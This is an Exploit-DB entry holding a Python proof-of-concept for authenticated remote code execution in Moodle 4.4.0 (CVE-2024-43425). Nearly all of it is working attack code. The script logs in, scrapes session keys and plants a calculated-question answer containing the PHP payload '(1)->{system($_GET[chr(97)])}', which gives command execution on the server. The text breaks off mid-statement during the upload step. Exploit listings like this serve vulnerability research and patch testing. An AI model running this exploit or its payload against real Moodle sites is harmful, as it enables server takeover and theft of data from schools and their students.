Exploit-DB #52350
Description: Moodle 4.4.0 - Authenticated Remote Code Execution
Type: webapps
Platform: multiple
Date: 2025-07-02
Author: Likhith Appalaneni

Exploit:
# Exploit Title: Moodle 4.4.0 - Authenticated Remote Code Execution
# Exploit Author: Likhith Appalaneni
# Vendor Homepage: https://moodle.org
# Software Link: https://github.com/moodle/moodle/releases/tag/v4.4.0
# Tested Version: Moodle 4.4.0
# Affected versions: 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11
# Tested On: Ubuntu 22.04, Apache2, PHP 8.2
# CVE: CVE-2024-43425
# References:
# - https://github.com/aninfosec/CVE-2024-43425-Poc
# - https://nvd.nist.gov/vuln/detail/CVE-2024-43425

import argparse
import requests
import re
import sys
import subprocess
from bs4 import BeautifulSoup
import urllib.parse

requests.packages.urllib3.disable_warnings()

def get_login_token(session, login_url):
    print("[*] Step 1: GET /login/index.php to extract login token")
    try:
        response = session.get(login_url, verify=False)
        if response.status_code != 200:
            print(f"[-] Unexpected status code {response.status_code} when accessing login page")
            sys.exit(1)
    except Exception as e:
        print(f"[-] Error connecting to {login_url}: {e}")
        sys.exit(1)

    soup = BeautifulSoup(response.text, "html.parser")
    token_input = soup.find("input", {"name": "logintoken"})
    if not token_input or not token_input.get("value"):
        print("[-] Failed to extract login token from HTML")
        sys.exit(1)

    token = token_input["value"]
    print(f"[+] Found login token: {token}")
    return token

def perform_login(session, login_url, username, password, token):
    print("[*] Step 2: POST /login/index.php with credentials")
    login_payload = {
        "anchor": "",
        "logintoken": token,
        "username": username,
        "password": password,
    }
    try:
        response = session.post(
            login_url,
            data=login_payload,
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            verify=False,
        )
        if response.status_code not in [200, 303]:
            print(f"[-] Unexpected response code during login: {response.status_code}")
            sys.exit(1)
    except Exception as e:
        print(f"[-] Login POST failed: {e}")
        sys.exit(1)

    if "MoodleSession" not in session.cookies.get_dict():
        print("[-] Login may have failed: MoodleSession cookie missing")
        sys.exit(1)

    print("[+] Logged in successfully.")

def get_quiz_info(session, base_url, cmid):
    print("[*] Extracting sesskey, courseContextId, and category from quiz edit page...")
    quiz_edit_url = f"{base_url}/mod/quiz/edit.php?cmid={cmid}"
    try:
        resp = session.get(quiz_edit_url, verify=False)
        if resp.status_code != 200:
            print(f"[-] Failed to load quiz edit page. Status: {resp.status_code}")
            sys.exit(1)
        # Extract sesskey
        sesskey_match = re.search(r'"sesskey":"([a-zA-Z0-9]+)"', resp.text)
        # Extract courseContextId
        ctxid_match = re.search(r'"courseContextId":(\d+)', resp.text)
        # Extract category
        category_match = re.search(r';category=(\d+)', resp.text)
        if not (sesskey_match and ctxid_match and category_match):
            print("[-] Could not extract sesskey, courseContextId, or category")
            print(resp.text[:1000])
            sys.exit(1)
        sesskey = sesskey_match.group(1)
        ctxid = ctxid_match.group(1)
        category = category_match.group(1)
        print(f"[+] Found sesskey: {sesskey}")
        print(f"[+] Found courseContextId: {ctxid}")
        print(f"[+] Found category: {category}")
        return sesskey, ctxid, category
    except Exception as e:
        print(f"[-] Exception while extracting quiz info: {e}")
        sys.exit(1)

def upload_calculated_question(session, base_url, sesskey, cmid, courseid, category, ctxid):
    print("[*] Step 3: Uploading calculated question with payload...")
    url = f"{base_url}/question/bank/editquestion/question.php"
    payload = "(1)->{system($_GET[chr(97)])}"
    post_data = {
        "initialcategory": 1,
        "reload": 1,
        "shuffleanswers": 1,
        "answernumbering": "abc",
        "mform_isexpanded_id_answerhdr": 1,
        "noanswers": 1,
        "nounits": 1,
        "numhints": 2,
        "synchronize": "",
        "wizard": "datasetdefinitions",
        "id": "",
        "inpopup": 0,
        "cmid": cmid,
        "courseid": courseid,
        "returnurl": f"/mod/quiz/edit.php?cmid={cmid}&addonpage=0",
        "mdlscrollto": 0,
        "appendqnumstring": "addquestion",
        "qtype": "calculated",
        "makecopy": 0,
        "sesskey": sesskey,
        "_qf__qtype_calculated_edit_form": 1,
        "mform_isexpanded_id_generalheader": 1,
        "category": f"{category},{ctxid}",
        "name": "exploit",
        "questiontext[text]": "<p>test</p>",
        "questiontext[format]": 1,
        "questiontext[itemid]": 623548580,
        "status": "ready",
        "defaultmark": 1,
        "generalfeedback[text]": "",
        "generalfeedback[format]": 1,
        "generalfeedback[itemid]": 21978947,
        "answer[0]": payload,
        "fraction[0]": 1.0,
        "tolerance[0]": 0.01,
        "tolerancetype[0]": 1,
        "correctanswerlength[0]": 2,
        "correctanswerformat[0]": 1,
        "feedback[0][text]": "",
        "feedback[0][format]": 1,
        "feedback[0][itemid]": 281384971,
        "unitrole": 3,
        "penalty": 0.3333333,
        "hint[0][text]": "",
        "hint[0][format]": 1,
        "hint[0][itemid]": 812786292,
        "hint[1][text]": "",
        "hint[1][format]": 1,
        "hint[1][itemid]": 795720000,
        "tags": "_qf__force_multiselect_submission",
        "submitbutton": "Save changes"
    }
    try:
        res = session.post(url, data=post_data, verify=False, allow_redirects=False)
        if